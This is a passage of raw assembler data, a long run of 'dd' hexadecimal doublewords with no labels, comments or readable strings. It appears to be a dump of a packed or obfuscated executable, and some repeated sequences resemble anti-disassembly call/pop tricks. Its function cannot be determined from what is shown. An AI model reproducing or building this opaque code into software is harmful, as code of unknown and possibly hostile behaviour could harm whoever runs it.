		dd 1E5922DEh, 4AC4981Fh, 0E549EB06h, 546A9A68h,	204B4131h
		dd 0A92E571Dh, 0F2AEEEC5h, 4224ABC4h, 0A1A88C68h, 65F4130h
		dd 0FD9A8671h, 0A92E6E09h, 0A6D99139h, 7F38C394h, 4166B69Dh
		dd 0A6521B5Fh, 8CD5B4BAh, 0B2B3AFEBh, 0AFCE0F9Dh, 0F9676CCFh
		dd 15748h, 50907000h, 33730A10h, 4B8B2705h, 35710F0Dh
		dd 4A8A2503h, 0DBE8430Eh, 0DEBCFC3Ch, 0D6D40440h, 0D9BF013Dh
		dd 3C0003Ch, 1A1A88Ch, 6A06F48Ah, 0A0E9C89Eh, 9B9CC602h
		dd 9A684B4h, 0C8A78BCDh, 0AB24ABE7h, 55DB82C9h,	928EE7F3h
		dd 0C5019E80h, 0A379FE93h, 0F355DBBCh, 0EB4C4C21h, 0DE23040Ch
		dd 0DDDA0844h, 6D4FC8F2h, 0CAA24E6h, 0A2CDA2CBh, 0DCE6472Dh
		dd 5C794B72h, 3D1ACB45h, 4556553Dh, 0ED823C14h,	65A58462h
		dd 12F0DE73h, 0C7522AD6h, 6AAE8105h, 0CBABF932h, 0E2071B0Fh
		dd 34BBD195h, 892AF960h, 0E799DEC1h, 8ECAABB9h,	0E76E4EC9h
		dd 0CCC1892Ah, 0AAE6C3A3h, 55C9B7B0h, 4A78B857h, 93B9h
		dd 0B131CF00h, 0EEFF8AFAh, 0D7A060EFh, 0A116A1A0h, 0A892D2ADh
		dd 3959D1CFh, 0D6AEBA05h, 41B2A761h, 0D7CB3A3Ah, 4FC802B6h
		dd 5A6DF4C8h, 1D5282A4h, 2220555Bh, 78165B3Ch, 4E29FE3Ch
		dd 2F6B0C12h, 0D7B49233h, 0DAC69F9Bh, 17D82562h, 0E93DCCB2h
		dd 0CA9AD44Fh, 59D61D73h, 0AC3DC050h, 5987C364h, 0C176B253h
		dd 3DFF6636h, 8BE45F86h, 3D69F0C4h, 294E5F86h, 2907E577h
		dd 3BF6EDEDh, 81BD5AA2h, 0FC3CD8B6h, 2337E9BEh,	2E2C6845h
		dd 385h, 6C1CF300h, 0BAA8E8C8h,	0AB97D3B4h, 0AEACE8C1h
		dd 0A892CEB0h, 0AFABEBC6h, 0A892D2ADh, 0B2B0ECC6h, 5290D0ACh
		dd 7171B14Ch, 0E1895191h, 4C181h, 0E9830000h, 240C3304h
		dd 33240C31h, 505C240Ch, 405E089h, 83000000h, 48704E8h
		dd 3C895C24h, 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h
		dd 68241C89h, 2339h, 0BD242C89h, 7DFD62Ch, 835DEF89h, 248904ECh
		dd 24048124h, 4, 31E0685Bh, 3C890000h, 8438F24h, 5B2434FFh
		dd 0FF04C483h, 815F2434h, 4C4h,	0F602E900h, 9413FFF5h
		dd 0DBD4B8A6h, 0C50307DFh, 0FAE8E0FFh, 0E7160D41h, 41FA3266h
		dd 0DF382938h, 92731637h, 0DC6E7AEEh, 0F23132D3h, 0C7EB202Bh
		dd 1A0017AFh, 3E0702A6h, 4EA03E28h, 58410CE0h, 1F434273h
		dd 0B1931AC5h, 0A6B41A93h, 7FAA71EAh, 5AAD2FC1h, 0F7D75436h
		dd 8AD42F73h, 784D76A6h, 2C2C54ACh, 0AD9063E8h,	2EC73646h
		dd 0E9C75397h, 3A1418A1h, 0BD4832C2h, 53424E46h, 7EC100B7h
		dd 2DE494Fh, 0F0E31CA3h, 8280539Dh, 0A71E680Bh,	5E82D36h
		dd 0E9000000h, 0B0C5AA3Ch, 7E8h, 0E1587300h, 40FA8EC9h
		dd 10498FBFh, 525B5E57h, 227357BAh, 0C3815A72h,	6EC9h
		dd 33BBDE80h, 0F38B66C9h, 581934FFh, 0F081FE8Bh, 32C347BCh
		dd 0D8C081F8h, 0E958C835h, 9, 73A593C2h, 0DAEC3D45h, 13C08102h
		dd 0E952E4D2h, 0Fh, 1501B5FBh, 8CD8AFC1h, 0C283E288h, 509463C8h
		dd 5FE68166h, 0B048F47h, 0FF78B66h, 0E983FBBFh,	0F612BF04h
		dd 0F9811F19h, 0FFFF91F8h, 22850Fh, 0E8600000h,	6, 4CC36D21h
		dd 61601FE2h, 0DABF0F5Fh, 22E961h, 0FE120000h, 327CF8BAh
		dd 0ED32BEF3h, 79E9FA8Bh, 27FFFFFFh, 0C3EBCA71h, 0AA99C772h
		dd 8BD20210h, 0F8E68911h, 11E8h, 0AF7C4300h, 5EB6E2EDh
		dd 0B9E0B7B4h, 6410DC31h, 0E9608830h, 9, 0ED87D565h, 8D2CF88Ah
		dd 0CABA66ACh, 815B618Eh, 5DEFC3h, 2800F00h, 53000000h
		dd 0B85Ah, 0B70F0000h, 1834FFFFh, 5E7BC680h, 81FFB70Fh
		dd 9376F1C6h, 0F1F68161h, 0E959AA9Dh, 5, 0A3565A01h
		dd 0DEC681E3h, 0E90280B2h, 0Ah,	0DF9FD5Fh, 0C0BAB666h
		dd 34895D36h, 0CBBF0F03h, 0E883D08Bh, 0F881F804h, 0FFFFA2ACh
		dd 0FFB3850Fh, 11E9FFFFh, 18000000h, 0BB9C7B19h, 76F6B5DEh
		dd 40732A63h, 0C5A962A7h, 0DEFD8D8Dh, 6A07DFh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 750B8DC3h, 8B1620A8h, 0D32619BDh, 9D296007h,	7D32079h
		dd 61ACDF80h, 29418D89h, 0B52907D3h, 7D32FA5h, 2BA185C7h
		dd 627007D3h, 81660000h, 0C71E1EEAh, 0D3331185h, 7, 9D8D8900h
		dd 0FF07D31Fh, 0D308BDB5h, 0CF816607h, 95FF57B5h, 7D32D3Dh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0DDC35040h
		dd 0B481500Eh, 26E61F90h, 0DE932h, 48960000h, 21F5C3A4h
		dd 5152CEC9h, 6AE85AFBh, 1995FF00h, 8B07D330h, 0CD2BEBC0h
		dd 1ABB68F7h, 0B0A21491h, 7C0B8E48h, 0FAADDF57h, 4BC67FEDh
		dd 0E408279Dh, 0F3DB339Ah, 645D5E71h, 6A9A85AFh, 0DC81CBBh
		dd 8D8D013Fh, 7DFDFFDh,	6890Fh,	9D890000h, 7D30731h, 29418D89h
		dd 6A07D3h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0D4ECBC3h, 45ABCBF5h, 2BA185C7h, 5BC007D3h
		dd 29600000h, 0D3014D8Dh, 49858907h, 6107D333h,	331185C7h
		dd 7D3h, 6A0000h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 190424h, 56460000h, 0CFE8E2C3h, 0FF0379CAh, 0D32D29B5h
		dd 3D95FF07h, 6A07D32Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0DC09C357h,	19C9D288h
		dd 148B0Fh, 0EE80000h, 0C000000h, 0A686D859h, 0BBDBFB80h
		dd 7CA3494Fh, 81665B0Fh, 6A7651E8h, 1995FF00h, 8B07D330h
		dd 0D21FEBC0h, 0A7EB4EC1h, 0C24C23A7h, 41D9F56Bh, 0B3515A7Ah
		dd 0DFD4D92Eh, 0ED3C3A80h, 842DE3A1h, 8D8DF3C2h, 7DFE103h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 20C35141h
		dd 8FFB44FDh, 0B6536CAEh, 0DBD8B8Dh, 8107D312h,	7B8936F3h
		dd 418D893Ch, 8907D329h, 0D30EB9BDh, 0A185C707h, 0F807D32Bh
		dd 6A000058h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 1AB7C353h, 59850C15h, 51BD0907h
		dd 0E907D30Eh, 11h, 0EB421A72h,	8FEF3FBBh, 0ED27A852h
		dd 0CAD85D2Ah, 1185C71Ch, 7D333h, 66000000h, 0B5FFDF8Bh
		dd 7D308BDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	0E5C35747h, 0BD7C795Dh,	9E39DEFh, 4D9D8986h, 0FF07D302h
		dd 0D32D3D95h, 6820F07h, 89000000h, 0D3259185h,	0FF006A07h
		dd 0D3301995h, 0EBC08B07h, 8E9F512Bh, 743D1D70h, 0AA398A34h
		dd 908CC0B0h, 0C05EAA67h, 0A101C96Ah, 3319A06Fh, 0CB00FF00h
		dd 2D4754h, 2021FA29h, 0C4DD6789h, 9E8h, 260B0800h, 53800E8Dh
		dd 0C880F74Ah, 0C6815E09h, 5990h, 5CF68051h, 1646B95Ah
		dd 0C0810000h, 931C06Bh, 9DB23E8Bh, 96A3F781h, 9D8B6861h
		dd 7D320B5h, 1B59C781h,	8E97EB5h, 0B0000000h, 6453FA53h
		dd 814D5F55h, 34E145EFh, 7595296Eh, 5707D31Fh, 0AFF08157h
		dd 5A5A40E8h, 14B4068Fh, 8B02EE83h, 804E4ED9h, 0F4977D8h
		dd 0FFFFB385h, 6810FFFh, 89000000h, 0D320658Dh,	0DE807h
		dd 49D70000h, 2861CB1Bh, 4E9C001Ah, 579E9B18h, 5E59C78Bh
		dd 1559858Bh, 0C68107D3h, 6444h, 53A8D281h, 0EC6869BFh
		dd 0E9000018h, 6, 35AA8CF2h, 8B5B2CC8h,	893E8BC3h, 0D3075185h
		dd 53EF8107h, 291294B1h, 0D31D7185h, 5FC78107h,	0E936BA0Dh
		dd 6, 7DA828AFh, 0F781F14Ah, 50804DBBh,	2EC28166h, 958B574Ah
		dd 7D32A3Dh, 0D08A068Fh, 0D6DAEE81h, 8166723Dh,	81B32ED8h
		dd 3DD6D6C6h, 0CA805172h, 0EB815824h, 1, 0FFA3850Fh, 0BA66FFFFh
		dd 8D8D4C34h, 7DFE332h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 1DC35141h, 0A5BD0124h, 8907D30Ch, 0D329418Dh
		dd 8E907h, 0CB9B0000h, 94FA7AE1h, 85C7218Fh, 7D32BA1h
		dd 6F9Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0F1C35646h, 20E6C1BAh, 6880FA4h, 2B000000h, 0D31FB59Dh
		dd 1185C707h, 7D333h, 89000000h, 0D32BDD95h, 0A5B5FF07h
		dd 6A07D32Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0DFA2C351h, 9D8B420Eh,	7D30629h
		dd 2D3D95FFh, 6A07D3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 89829BC3h, 85039471h, 7D31FFDh
		dd 95FF006Ah, 7D33019h,	2CEBC08Bh, 592C64BCh, 61843AB8h
		dd 0C41DC173h, 4BA940D5h, 0E40D375Eh, 50E10109h, 0A6B43F5Ah
		dd 5B28F816h, 3A2FEAE1h, 6043E021h, 0F2CC6942h,	0E44D8D8Dh
		dd 6A07DFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0BF0F5FC3h, 418D89C1h, 6A07D329h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0F7D4C351h, 1FB0AF69h, 57496BC6h, 0DD858B60h, 0E907D32Bh
		dd 8, 0EB4987B1h, 77414CB8h, 0A185C761h, 0DC07D32Bh, 6A000058h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 406EC352h, 0EAC15688h, 1185C70Fh,	7D333h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 96A5C353h, 8B99A103h, 0D303B5B5h
		dd 7818BB07h, 0B5FF5A23h, 7D323C9h, 1B65BD89h, 95FF07D3h
		dd 7D32D3Dh, 0B6BE6651h, 81665811h, 6A22E2D7h, 1995FF00h
		dd 8B07D330h, 6338EBC0h, 0DF8DB139h, 1FC23803h,	0B5465E38h
		dd 0FC8091EEh, 3CB1C6A5h, 8C4B4752h, 73EEE72Dh,	7214A144h
		dd 77E76C02h, 0C266D1D5h, 0CCF7C10Dh, 0D3C75CA0h, 0FB55A870h
		dd 8DA2DE9Eh, 0DFE5578Dh, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 89D68B1Ah
		dd 0D329418Dh, 12E807h,	0FE550000h, 0B41A749Bh,	6C5C5793h
		dd 37FF4D79h, 0FE1A8674h, 0C75F7DB2h, 0D32BA185h, 5FE407h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 5B49178Eh, 66063450h, 0C76CE2BAh, 0D3331185h
		dd 7, 6E900h, 23450000h, 434282AAh, 1C0DB5FFh, 0BF0F07D3h
		dd 9C9EBFF6h, 95FF2266h, 7D32D3Dh, 0BF0BF081h, 9E8642Dh
		dd 2C000000h, 70CF6E29h, 53EC24D4h, 0DE953h, 6B190000h
		dd 0EF6937DAh, 0ED5B6489h, 5B3EB516h, 0FF006A5Fh, 0D3301995h
		dd 0EBC08B07h, 4A45EE48h, 10E83DA9h, 0D791AF70h, 0DC7DF2A8h
		dd 3D8B1EBCh, 0BD7EFD02h, 5027B569h, 0E5A78960h, 9E9DC027h
		dd 0BA4ABC48h, 0A924BF6Ch, 0B833B187h, 858D444h, 4CC8558Fh
		dd 4920E171h, 0F4917A8Eh, 0A7853A9Bh, 6D9920D1h, 12E86Bh
		dd 0C4650000h, 0D2AB825Dh, 0F433CD7Ah, 0ABA2F1ADh, 53FB3832h
		dd 0AD8D89h, 665807D3h,	818DF5BFh, 619DC0h, 0C4F68100h
		dd 0B9211A10h, 674F8279h, 9A57F181h, 0EE8674Fh,	31000000h
		dd 0B27665Ch, 536F2A47h, 0AC44508Bh, 898D8908h,	5F07D302h
		dd 0DE930FFh, 0EC000000h, 0B222F7E7h, 0EE410557h
		dd 0BA3FA0A5h, 40F3815Bh, 89567ABFh, 0D30EDD85h, 5CEB8107h
		dd 0F9033DA5h, 2AE7EB81h, 0B58B4A61h, 7D30159h,	0B58B1889h
		dd 7D3254Dh, 135EE881h,	0C7815125h, 4FB6DBB7h, 135AC081h
		dd 10E95125h, 0DC000000h, 0E680DBC2h, 75F47B71h, 0C4BEADDBh
		dd 81E1F73Ch, 1E9h, 11850F00h, 66000000h, 24E9F08Bh, 46000000h
		dd 586EA8E3h, 5CA94B52h, 79E9FE8Bh, 0A9FFFFFFh,	83AE4A8h
		dd 511CF201h, 6361541Dh, 0CC89073Fh, 0E8D79E92h, 13h, 6037BBA3h
		dd 9F78A576h, 67473E6Fh, 9BAAD27Bh, 19A3F40h, 0D325F19Dh
		dd 0DA8A5A07h, 6693C281h, 80560000h, 6859ECF1h,	0
		dd 169D9D8Bh, 0E95807D3h, 9, 0E1186478h, 0A081C409h, 2348BFBh
		dd 29D98B60h, 0D32A6DBDh, 0EE816107h, 3CA80FC8h, 81FBB70Fh
		dd 7D3AABF6h, 119D8B26h, 8107D324h, 8FFAA0C6h, 698D8B55h
		dd 5607D30Ch, 18CDBD89h, 48F07D3h, 5712B102h, 75C18166h
		dd 0E8835BD7h, 3820F01h, 66000000h, 4848CF8Bh, 0DE96048h
		dd 0E5000000h, 3EBC7C42h, 8D0AE9F6h, 8516FD2Ah,	25D1B529h
		dd 816107D3h, 0FF9A54F8h, 1D850FFFh, 89000000h,	0D3298D95h
		dd 29E907h, 0D3AC0000h,	2CE70B87h, 0AD12EA72h, 0D77C8B4Fh
		dd 3D931AEDh, 622A1B9h,	0FF63E948h, 0B55FFFFh, 0AD11679Dh
		dd 494ECF8Ch, 8D84F5BCh, 0DFE8228Dh, 11BD3107h,	8907D32Fh
		dd 0D329418Dh, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 8BD1A0F7h, 8C0F760Eh
		dd 0Eh,	9E9h, 0F2F34600h, 0D5B1D146h, 85C71FABh, 7D32BA1h
		dd 5BB8h, 530D08B8h, 1185C777h,	7D333h,	6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0E99DC351h, 0D67F7D67h, 0C6EA8166h, 0C9B5FFC5h, 8B07D323h
		dd 3D95FFFBh, 0BB07D32Dh, 236D9AB2h, 95FF006Ah,	7D33019h
		dd 38EBC08Bh, 0EDCD644Bh, 0B5660A08h, 4770F80Eh, 413F4D39h
		dd 0F1EB9060h, 92E761B0h, 172F7D17h, 0F091BEF0h, 699AFA68h
		dd 11B98074h, 0C84370Fh, 0F395B8CAh, 99DFE30Bh,	690D7A12h
		dd 0FE8h, 9A904900h, 0A885B517h, 0F85C6390h, 6E7069BEh
		dd 3325958Bh, 895F07D3h, 0D30DF595h, 0CFC78107h, 33000066h
		dd 0D301D1B5h, 0E0FBBB07h, 0C3816027h, 9FD8388Bh, 0E28A0F8Bh
		dd 86DAF181h, 0F4B4126Dh, 0C245C181h, 0BE66260Dh, 0F181C23Fh
		dd 2EE156BEh, 810F89F8h, 826DADEFh, 25DE816Ah, 8169A067h
		dd 826DA9C7h, 14E96Ah, 34460000h, 6AB16Ch, 834E294Ch, 50A51E0Eh
		dd 44D2059Eh, 0EB833026h, 24850F01h, 0F000000h,	58Eh, 9CFFBE00h
		dd 25E94E85h, 84000000h, 6CAF55B4h, 0A688B062h,	0AA97B262h
		dd 97F561AEh, 0F560A4C7h, 0FFFF83E9h, 864B71FFh, 5BD5A1E7h
		dd 0FB66681Ch, 14E8h, 5B2BCF00h, 8202E09Ah, 0C0589C2Ah
		dd 72797BA4h, 5491DAF5h, 0CE985h, 1D0F0000h, 0EFEC40F2h
		dd 96A35B72h, 8B5FA421h, 0D32EC585h, 0BAC78107h, 0F00006Ch
		dd 680h, 4D9D8900h, 0BE07D317h,	0
		dd 8B9958Bh, 34FF07D3h,	0C1958B3Eh, 5B07D308h, 0A0EA8166h
		dd 0F3C38161h, 0F54A74F8h, 80B2C381h, 13E92E08h, 0A2000000h
		dd 0F4757FF2h, 31DF0B9Fh, 4370348Ah, 5D28EAF0h,	0C38127DEh
		dd 202C313Eh, 182DF281h, 0BA530E82h, 257DEF87h,	6037048Fh
		dd 2A599589h, 0FE8B07D3h, 38A0F61h, 0F000000h, 0EE83C9B7h
		dd 0A3C08101h, 4E19A753h, 19B14E4Eh, 9434FE81h,	850FFFFFh
		dd 1Ah,	1DD28166h, 29E915h, 5A330000h, 7EDB90B0h, 0F7F2AAF3h
		dd 0F0B7C4C7h, 0CA81971Eh, 7F8617B7h, 0FFFF65E9h, 0D3BBBFFFh
		dd 3D8287E4h, 0CE6D3AB3h, 0E878A66Eh, 10h, 8D3F294Fh, 821A320Dh
		dd 0DDB05D52h, 3E37F9A7h, 59C0B70Fh, 74C6EE81h,	0C181753Eh
		dd 6268h, 2830Fh, 0D98A0000h, 59E4DABFh, 66EF8124h, 512459CCh
		dd 7B4BE66h, 8B118B58h,	0D31BED9Dh, 80EA8107h, 8B117B78h
		dd 0D32B9DB5h, 70EA8107h, 0F51476C9h, 36BFC281h, 890F57F0h
		dd 2, 0B452F28Bh, 0F018F8Dh, 188Ah, 12E800h, 4B580000h
		dd 9A09FF3Fh, 7B7D4BE6h, 6BB8E070h, 2BD1C04Bh, 4E9835Bh
		dd 2B399D8Bh, 0EF8107D3h, 1, 0FF9F850Fh, 0F28BFFFFh, 89A07582h
		dd 78146908h, 0FB8DA6DCh, 8637F640h, 8635A12Eh,	18D92590h
		dd 5302548h, 5526CC99h,	23F2515h, 86302598h, 0AF699807h
		dd 89302291h, 8630A1A5h, 57B5E390h, 0C837F650h,	863021CCh
		dd 0C4E76512h, 0C2BB75A1h, 86BB21A0h, 821461CBh, 6F85DA79h
		dd 0B37F686h, 5A334FCDh, 0DE0DA23h, 57B5E3E2h, 0C837F611h
		dd 8630216Ch, 0C4E76542h, 0C2BB7589h, 86BB21B4h, 821461C1h
		dd 0DF85DA7Ch, 0B37F63Bh, 5A334F8Ch, 0DE0DA83h,	86209CBAh
		dd 8ED92521h, 20302590h, 863EA047h, 8D792524h, 76B52ADBh
		dd 6FCFDAF6h, 86302589h, 0CB81B8CFh, 838822F2h,	79302590h
		dd 318DA8ABh, 0B37FACEh, 59DBA39Fh, 0A3229D0Eh,	491BA3B4h
		dd 89A07582h, 78146908h, 0FB8DA6DCh, 8637F640h,	8635A12Eh
		dd 18D92590h, 5302548h,	8326CC99h, 0A4F305E9h, 22B9h, 13E900h
		dd 0FFFF0000h, 7FC8h, 3	dup(0)
		dd 0C34E900h, 0D1520000h, 57CDDC92h, 0CC535E10h, 50D0DF8Fh
		dd 0CE505F0Fh, 8B9EDD91h, 1BD3080Eh, 9F4F908Ch,	1CD21510h
		dd 9B53948Dh, 15E9500Ah, 66327240h, 11433112h, 0D0D2379Fh
		dd 0E8FF3943h, 25CA2CAFh, 0FBC6AD2Dh, 3A02F93Ah, 7D151E0h
		dd 5AC63B7Ch, 0FD271F8h, 45F9C82h, 78BB7A07h, 94311F86h
		dd 0DF8A0BAEh, 3D470426h, 0A5118CEAh, 0B66290C5h, 8576D955h
		dd 983418F2h, 71C0AC4Bh, 6DA920DBh, 291DD451h, 0FC9EA047h
		dd 8D8402B4h, 5537BFh, 0A962D186h, 0B56D442Eh, 57146F72h
		dd 0FBC77260h, 4C02B4C3h, 0F07D84DFh, 3ED1F12Eh, 0B2EC9FC4h
		dd 24ED0E07h, 49A0774Ah, 4A47ACCBh, 1DB6FD37h, 0A1C2435Eh
		dd 0E51CDE0h, 24C63E53h, 0B4C4C9B5h, 12B11A02h,	0C402014Fh
		dd 597F16AAh, 0E407038Eh, 269B9A27h, 7628CBF0h,	0C903F823h
		dd 865331h, 1B480000h, 371BD605h, 2BD4AE19h, 0C6253A52h
		dd 356AACD5h, 243E202Ch, 522BC9B5h, 0BAB11A3Ah,	0FF925D7Bh
		dd 0C023DE05h, 3B60B6CBh, 66EB0C43h, 51466966h,	3D000000h
		dd 0F639F5CCh, 85BA5C05h, 0C54D197Ch, 1060C102h, 0C2C7C281h
		dd 104B56DFh, 0C742DF12h, 55D0DDA4h, 61827F12h,	2DABE2A0h
		dd 0FF929043h, 3E20E102h, 0F0F6A79Bh, 389BF82Ch, 68D4F243h
		dd 9DDE57B6h, 0F63012B5h, 12812CF0h, 6868BDB1h,	0DB000000h
		dd 3F43A6CCh, 903A522Bh, 0C7596823h, 0CFECD998h, 0B8445EFBh
		dd 80073678h, 8A55DE83h, 9D892650h, 0F52AECC3h,	0DBA712ECh
		dd 2C9AB673h, 2E6724BFh, 271D3DA8h, 8F9ADD23h, 0B769F8F3h
		dd 355E6007h, 8D449AB6h, 5CFDB752h, 92BA198Eh, 4768C69Ch
		dd 3FB5890h, 0C2254B25h, 9AB634C0h, 4B37A211h, 9C9AB634h
		dd 3F273C2Fh, 0BA843311h, 0A63A522Bh, 522B3F43h, 0A423903Ah
		dd 23C6AC47h, 7224C00Ah, 3BA56C97h, 0E9D0022h, 4AF306F4h
		dd 861BD635h, 5B46A91h,	0BD24ED12h, 0A9103293h,	0DC9AEEEAh
		dd 8F765523h, 4CFBD510h, 803B2272h, 24B368C3h, 79BA7B46h
		dd 0E5D0782h, 9A2FCAADh, 5D143031h, 67D2F0FBh, 35C9369Bh
		dd 93D44DECh, 6E4EF5CEh, 69B6441Eh, 0F88982A6h,	7B06F827h
		dd 755B77A4h, 0C951F0D2h, 19D24135h, 744F6D58h,	0C736A064h
		dd 40132627h, 0A30F469Dh, 0E8A36BB0h, 0DC4DD26Eh, 1057CD20h
		dd 3CD56E51h, 4C42A1C6h, 0B7123F1Fh, 1BD8EBECh,	0D7F9D91Ah
		dd 522B8E70h, 7774DF3Ah, 0F3CBF8ECh, 6C665F58h,	5593h
		dd 123F0800h, 1DCCECB7h, 99E544EDh, 0BFB4F7B8h,	3A61040Eh
		dd 0EF125229h, 0CC380B68h, 0A3A769A0h, 77745F1Bh, 34EAB59Bh
		dd 0CC6F1407h, 6684AAA0h, 0FEFDA48Eh, 637FBC63h, 3576B27Dh
		dd 1CE6532Ch, 6D3A514Fh, 0CC760DFEh, 0FAF738F5h, 0D863E299h
		dd 50D1h, 123FF200h, 12049BB7h,	9A397ABBh, 64FFFCD7h, 977F1DCCh
		dd 0E326B653h, 0C1295624h, 0CEF437EEh, 4B57976Bh, 908BE853h
		dd 84B3A207h, 1EDE6C44h, 0F7CCEEC5h, 0FBD7041Bh, 0A7D44AD5h
		dd 522B4042h, 6922913Ah, 22F5CC5Ah, 2B07FEFDh, 0A05B9C94h
		dd 0D91A1B03h, 12ABAD18h, 4CE3023Bh, 0F2CD94CBh, 5B7D90F9h
		dd 244EB636h, 2FA79B3Eh, 69F82E9Ch, 2A858CABh, 4CD7D2C9h
		dd 0DBAA7ABDh, 70CC0A01h, 0BD546EB1h, 825D245Bh, 0A005F960h
		dd 0FD56B2BDh, 0EF3140FEh, 6D4DB1B0h, 0B7CEE738h, 8A17D44Fh
		dd 16AA6794h, 3BDD597Fh, 2C100A04h, 0DF9CF588h,	7EBBB0F7h
		dd 0E1D1FC5Dh, 48B8h, 1A1BAB00h, 87A918D9h, 0D2B5243Eh
		dd 23DF8C7Dh, 0CE26D7CCh, 1053D35Eh, 187D6E51h,	0A759D2A5h
		dd 1F4131C7h, 6A5BC6B8h, 0BFBC17F0h, 0A8775BB8h, 0BC744D6Ah
		dd 5FB1807Bh, 9DC32EA8h, 6A5B483Ah, 413A99F0h, 0D0BEE120h
		dd 0D91A1BA3h, 8E70D7F9h, 0DF3A522Bh, 0CBBA7774h, 0D7826065h
		dd 7CA72484h, 0EFEA6DB5h, 98BA9467h, 0A794D31h,	36359E88h
		dd 7FBB4753h, 0EC06B2h,	52E2A126h, 2E99B9D1h, 5D958354h
		dd 425546A5h, 8B8A35E9h, 7A3CA968h, 6D43E0CDh, 0A52146D2h
		dd 0FF4F8366h, 49B7D74h, 6A32E90Eh, 0DDA4C73Fh,	530E51D0h
		dd 4E183E35h, 0ED498F86h, 6CFBF334h, 7C46F1B5h,	0CD157159h
		dd 52DD055Eh, 0EED190D3h, 0E34D34FDh, 0B25900E2h, 41C4F5Ch
		dd 0BDAEF12Dh, 0E4A631CCh, 0E0BF225Bh, 0BC04FE4Dh, 9B26CC7h
		dd 9BB7123Fh, 2B3012B5h, 0E0813A52h, 9E01003Fh,	0EB3D4645h
		dd 0D91A1BD8h, 0F3CBF84Ah, 6C665F58h, 888F4E6Eh, 0A872B125h
		dd 684B4669h, 0BCFF360Bh, 5621DAB5h, 69h, 42A0CC4Dh, 2417CE59h
		dd 230E7774h, 11A2CAA8h, 0D45DFB81h, 0E7225DE7h, 84DFA3CEh
		dd 0A6CCFC87h, 15DC1F1Bh, 4D3198BAh, 9E3A522Bh,	0D0533635h
		dd 71272913h, 9D2622CBh, 2BF429A0h, 0B7CC3A52h,	0F5CCC75Ch
		dd 1101FA3Dh, 0DCA6112Fh, 2D3A522Bh, 1BB6CDBEh,	0BF4CD704h
		dd 582A8DB3h, 0A93A522Bh, 0D132514Ah, 5Ah, 43A6CCF2h, 3A522B3Fh
		dd 7D682390h, 0CC1EF5D0h, 9833C11Dh, 984D6D69h,	0EC126E0Ch
		dd 0A83D41A8h, 258E0B0Bh, 1DCCDBEh, 3227F756h, 0CDA0328Fh
		dd 0F8F1A321h, 88A3F2DAh, 36E79541h, 0F7CC1E45h, 0F356041Bh
		dd 3A522B0Fh, 8351E1F5h, 921548FCh, 0CC099A39h,	1FA3DF5h
		dd 1A1B7B04h, 0D1AD18D9h, 3458602Ch, 3FC7ADB6h,	0B46C432Fh
		dd 7C156E73h, 449F6285h, 0AB626247h, 774A3A55h,	1A757CBFh
		dd 0A56C7461h, 0AB1E1723h, 0A6FDC56Fh, 34EB6307h, 52F1D28Fh
		dd 530B0D9Ch, 1CB69267h, 0AB0EF27Dh, 0B72BC2D7h, 6928CB28h
		dd 827CEB05h, 0D3B72BC2h, 38DE8378h, 1372FE03h,	689789B5h
		dd 238E3B6h, 4F93E640h,	8000000h, 18D91A1Bh, 0D1AD1C36h
		dd 223A522Bh, 7DD3D2C9h, 8DCF7A58h, 0BCDF5071h,	0D3C10021h
		dd 5F936B4Fh, 41324C25h, 0D2D44D4Ah, 0EE7B4E4Dh, 0CAC1E223h
		dd 28E942CDh, 2B173158h, 5BD5C9EAh, 12EC5B75h, 63327EFEh
		dd 0FE5D6108h, 45AE327Eh, 1A1B3D46h, 70D7F9D9h,	3A522B8Eh
		dd 0BA7774DFh, 51D965CBh, 0B8913BC9h, 1EC9A94Ah, 5F3E747Eh
		dd 0E1ED612Dh, 6E2F925Ch, 0A739A06Ah, 0FC23F4CBh, 0D6E19AF5h
		dd 0E4ADCE4Bh, 0B71C5BD9h, 0EA08621Ch, 2DC8837Fh, 0CD45D462h
		dd 670CE7AAh, 123F0FB4h, 0D8EBECB7h, 77EDA0CCh,	0C576D417h
		dd 0F2EF30ECh, 4EC7DA91h, 0F5CC962Dh, 3FFFFC23h, 6658FFE1h
		dd 0B73A522Bh, 0F3049F5Ch, 6C665F58h, 7B93h, 36E8B700h
		dd 3F711209h, 0CCECB712h, 1BFFF61Dh, 0AD693893h, 3C7FB78Ah
		dd 28A15A35h, 0DFB26E0h, 532F9AB8h, 0A4B51585h,	0E085447h
		dd 74E38783h, 0B515858Ah, 18D370DBh, 6C8A10B1h,	0ACC6A0E1h
		dd 0BE81413Dh, 42399288h, 0D6FCD635h, 0BE818F73h, 7873E088h
		dd 43A6CCEBh, 3A522B3Fh, 0A682390h, 23F5CC39h, 0C72C4FCAh
		dd 0C758E9CAh, 5F6D998h, 0AF84BB5Ch, 41D104BFh,	0F2000000h
